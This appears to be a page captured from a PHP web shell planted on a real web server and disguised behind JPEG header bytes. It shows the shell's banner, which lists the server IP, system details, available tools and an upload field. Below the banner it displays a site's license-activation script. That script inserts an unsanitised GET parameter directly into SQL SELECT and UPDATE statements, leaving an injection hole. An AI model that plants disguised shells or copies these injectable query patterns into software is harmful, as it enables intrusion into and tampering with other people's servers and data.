????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/fi2/scripts/ |
Upload File : |
<?php
$guid = $_GET['guid'];
$mac_id = $_GET['mac_id'];
$username = $_GET['username'];
$isDebug = false;
//isDebug_print_message($isDebug, 'guid = ' .$guid);
//isDebug_print_message($isDebug, 'mac_id = ' .$mac_id);
//isDebug_print_message($isDebug, 'username = ' .$username);
$sql = "SELECT MAC_1, MAC_2 from tblLicenses WHERE GUID=$guid";
//isDebug_print_message($isDebug, 'sql: ' .$sql);
$result = mysqli_query($connection, $sql);
if ($result->num_rows > 0)
{
//isDebug_print_message($isDebug, 'result->num_rows > 0');
$mac_1_db = "";
$mac_2_db = "";
while($row = mysqli_fetch_array($result))
{
$mac_1_db = $row['MAC_1'];
$mac_2_db = $row['MAC_2'];
}
//isDebug_print_message($isDebug, 'mac_1_db = ' .$mac_1_db);
//isDebug_print_message($isDebug, 'mac_2_db = ' .$mac_2_db);
$mac_id_without_singleQuote = str_replace("'","", $mac_id);
//isDebug_print_message($isDebug, 'mac_id_without_singleQuote = ' .$mac_id_without_singleQuote);
//Imp points:
//For updating in DB single quotes required. While return it will give without single quotes.
//So that while comparing string in if condition, we need to compare string without single quotes.
//While updating in DB we need to send string with quotes.
$separator = "$@$";
$username_without_singleQuote = str_replace("'","", $username);
if ($mac_1_db == "")//1st user
{
//isDebug_print_message($isDebug, 'mac_1 is empty');
$mac_1_updated = "'" . $username_without_singleQuote . $separator . $mac_id_without_singleQuote . "'";//mac_id prefix with username
$sqlUpdateMac1 = "UPDATE tblLicenses SET MAC_1=$mac_1_updated WHERE GUID=$guid";//Updates MAC_1 DB value
mysqli_query($connection, $sqlUpdateMac1);
//isDebug_print_message($isDebug, 'Active 1');
$returnValue = 'Active';
}
//else if ((strcmp($mac_1_db, $mac_id_without_singleQuote) !== 0) && ($mac_2_db == ""))//2nd user
else if ($mac_2_db == "")//2nd user
{
//isDebug_print_message($isDebug, 'mac_1 != mac_id and mac_2 is empty');
$mac_1_db_values = explode($separator, $mac_1_db);
if (count($mac_1_db_values) == 1)
{
if (strcmp($mac_id_without_singleQuote, $mac_1_db) == 0)
{
update_Mac_1_db_with_username_mac_1($guid, $connection, $username_without_singleQuote, $separator, $mac_id_without_singleQuote);
$returnValue = 'Active';
return (true);
}
else//mac_2 is empty so update it directly
{
update_Mac_2_db_with_username_mac_2($guid, $connection, $username_without_singleQuote, $separator, $mac_id_without_singleQuote);
$returnValue = 'Active';
return (true);
}
}
else if (count($mac_1_db_values) == 2)
{
$mac_1_db_values_1 = $mac_1_db_values[0];//Username
$mac_1_db_values_2 = $mac_1_db_values[1];//mac_id_db
if (strcmp($mac_id_without_singleQuote, $mac_1_db_values_2) == 0)
{
$returnValue = 'Active';
return (true);
}
else if (strcmp($username_without_singleQuote, $mac_1_db_values_1) == 0)
{
update_Mac_1_db_with_username_mac_1_laptop_1($guid, $connection, $username_without_singleQuote, $separator, $mac_1_db_values_2, $mac_id_without_singleQuote);
$returnValue = 'Active';
return (true);
}
else//mac_1_db and username both are not matching and mac_2_db is empty. So update mac_2_db directly
{
update_Mac_2_db_with_username_mac_2($guid, $connection, $username_without_singleQuote, $separator, $mac_id_without_singleQuote);
$returnValue = 'Active';
return (true);
}
}
else if (count($mac_1_db_values) == 3)
{
$mac_1_db_values_1 = $mac_1_db_values[0];//Username
$mac_1_db_values_2 = $mac_1_db_values[1];//mac_1_db
$mac_1_db_values_3 = $mac_1_db_values[2];//laptop_1_db
if ((strcmp($mac_id_without_singleQuote, $mac_1_db_values_2) == 0) || (strcmp($mac_id_without_singleQuote, $mac_1_db_values_3) == 0))
{
$returnValue = 'Active';
return (true);
}
else//mac_1_db and laptop_1_db both are not matching and mac_2_db is empty. So update mac_2_db directly
{
update_Mac_2_db_with_username_mac_2($guid, $connection, $username_without_singleQuote, $separator, $mac_id_without_singleQuote);
$returnValue = 'Active';
return (true);
}
}
}
else if ((strcmp($mac_1_db, "") !== 0) &&//$mac_1_db is not empty
(strcmp($mac_2_db, "") !== 0))//$mac_2_db is not empty
{
//isDebug_print_message($isDebug, 'mac_1_db mac_2_db are not empty');
if (checkMac1_Or_Mac2_DB($isDebug, $connection, $separator, $mac_id, $mac_1_db, $username, $guid, 1))
{
//isDebug_print_message($isDebug, '400');
$returnValue = 'Active';
}
else
{
//isDebug_print_message($isDebug, '100');
if (checkMac1_Or_Mac2_DB($isDebug, $connection, $separator, $mac_id, $mac_2_db, $username, $guid, 0))
{
//isDebug_print_message($isDebug, '300');
$returnValue = 'Active';
}
else
{
//isDebug_print_message($isDebug, '200');
$returnValue = 'No valid license. Already registered on 2 machines!';
}
}
}
else
{
//isDebug_print_message($isDebug, 'else 500');
$returnValue = 'Active';
}
}
function update_Mac_1_db_with_username_mac_1($guid, $connection, $username_without_singleQuote, $separator, $mac_id_without_singleQuote)
{
$mac_1_updated = "'" . $username_without_singleQuote . $separator . $mac_id_without_singleQuote . "'";//mac_id prefix with username
$sqlUpdateMac1 = "UPDATE tblLicenses SET MAC_1=$mac_1_updated WHERE GUID=$guid";//Updates MAC_1 DB value
mysqli_query($connection, $sqlUpdateMac1);
}
function update_Mac_1_db_with_username_mac_1_laptop_1($guid, $connection, $username_without_singleQuote, $separator, $mac_1_db_values_2, $mac_id_without_singleQuote)//laptop_1 = wireless machine
{
$mac_1_updated = "'" . $username_without_singleQuote . $separator . $mac_1_db_values_2 . $separator . $mac_id_without_singleQuote . "'";
$sqlUpdateMac1WithUsername = "UPDATE tblLicenses SET MAC_1=$mac_1_updated WHERE GUID=$guid";
mysqli_query($connection, $sqlUpdateMac1WithUsername);
}
function update_Mac_2_db_with_username_mac_2($guid, $connection, $username_without_singleQuote, $separator, $mac_id_without_singleQuote)
{
$mac_2_updated = "'" . $username_without_singleQuote . $separator . $mac_id_without_singleQuote . "'";//mac_id prefix with username
$sqlUpdateMac2 = "UPDATE tblLicenses SET MAC_2=$mac_2_updated WHERE GUID=$guid";//Updates MAC_2 DB value
mysqli_query($connection, $sqlUpdateMac2);
}
function checkMac1_Or_Mac2_DB($isDebug, $connection, $separator, $mac_id, $mac_db, $username, $guid, $is_check_MAC_1_DB)
{
//isDebug_print_message($isDebug, 'checkMac1_Or_Mac2_DB');
//isDebug_print_message($isDebug, 'mac_id: ' .$mac_id);
//isDebug_print_message($isDebug, 'mac_db: ' .$mac_db);
$mac_db_values = explode($separator, $mac_db);
$mac_id_without_singleQuote = str_replace("'","", $mac_id);
$username_without_singleQuote = str_replace("'","", $username);
//isDebug_print_message($isDebug, '2 else if');
if (count($mac_db_values) == 1)//If only Mac_1_DB or Mac_2_DB is existing without username as prefix, then update username as prefix
{
//isDebug_print_message($isDebug, '5');
$mac_updated = "";
//mac_1_db or mac_2_db exists then update username as prefix
if (strcmp($mac_id_without_singleQuote, $mac_db) == 0)//Both are equal
{
$mac_updated = "'" . $username_without_singleQuote . $separator . $mac_db . "'";
}
else//mac_1_db or mac_2_db exists then update username as prefix and wireless mac id if mac id is different
{
$mac_updated = "'" . $username_without_singleQuote . $separator . $mac_db . $separator . $mac_id_without_singleQuote . "'";
}
//isDebug_print_message($isDebug, '6 mac_updated', $mac_updated);
$mac_1_or_mac_2_db_column = ($is_check_MAC_1_DB == 1) ? "MAC_1" : "MAC_2";
$sqlUpdateMac1WithUsername = "UPDATE tblLicenses SET $mac_1_or_mac_2_db_column=$mac_updated WHERE GUID=$guid";
mysqli_query($connection, $sqlUpdateMac1WithUsername);
//isDebug_print_message($isDebug, '7');
return (true);
}
else if (count($mac_db_values) == 2)//Username as prefix and mac_1_db or mac_2_db exists then update wireless mac id if mac id is different
{
//isDebug_print_message($isDebug, '9');
$mac_db_values = explode($separator, $mac_db);
$mac_db_values_first = $mac_db_values[0];//Username
$mac_db_values_second = $mac_db_values[1];//mac_id_db
//isDebug_print_message($isDebug, '10 mac_db_values_first = ' . $mac_db_values_first);
//isDebug_print_message($isDebug, '11 mac_db_values_second = ' . $mac_db_values_second);
//Username as prefix and mac_1_db or mac_2_db exists and matching mac id
if (strcmp($mac_id_without_singleQuote, $mac_db_values_second) == 0)//Both are equal
{
//isDebug_print_message($isDebug, '12');
return (true);
}
//Username as prefix and mac_1_db or mac_2_db exists and matching Username then update mac id as suffix (2nd mac id which is wireless)
else if (strcmp($username_without_singleQuote, $mac_db_values_first) == 0)//Both are equal
{
//isDebug_print_message($isDebug, '13');
$mac_updated = "'" . $username_without_singleQuote . $separator . $mac_db_values_second . $separator . $mac_id_without_singleQuote . "'";
$mac_1_or_mac_2_db_column = ($is_check_MAC_1_DB == 1) ? "MAC_1" : "MAC_2";
$sqlUpdateMac1WithUsername = "UPDATE tblLicenses SET $mac_1_or_mac_2_db_column=$mac_updated WHERE GUID=$guid";
mysqli_query($connection, $sqlUpdateMac1WithUsername);
return (true);
}
else
{
//isDebug_print_message($isDebug, '14');
return (false);
}
}
//Username as prefix, mac_1_db or mac_2_db and wireless_mac_id_db (suffix) are exist then commpare mac id
else if (count($mac_db_values) == 3)
{
//isDebug_print_message($isDebug, '15');
$mac_db_values = explode($separator, $mac_db);
$mac_db_values_1 = $mac_db_values[0];//Username
$mac_db_values_2 = $mac_db_values[1];//mac_id_db
$mac_db_values_3 = $mac_db_values[2];//laptop_id_db
//isDebug_print_message($isDebug, '16 mac_db_values_1 = ' . $mac_db_values_1);
//isDebug_print_message($isDebug, '17 mac_db_values_2 = ' . $mac_db_values_2);
//isDebug_print_message($isDebug, '18 mac_db_values_3 = ' . $mac_db_values_3);
//Commpare mac_1_db or mac_2_db and mac_id_db(suffix) with mac_id
if ((strcmp($mac_id_without_singleQuote, $mac_db_values_2) == 0) || (strcmp($mac_id_without_singleQuote, $mac_db_values_3) == 0))//Both are equal
{
//isDebug_print_message($isDebug, '19');
return (true);
}
else
{
//isDebug_print_message($isDebug, '20');
return (false);
}
}
}
function isDebug_print_message($isDebug, $message)
{
if ($isDebug)
{
echo $message .'<br>';
}
}
?>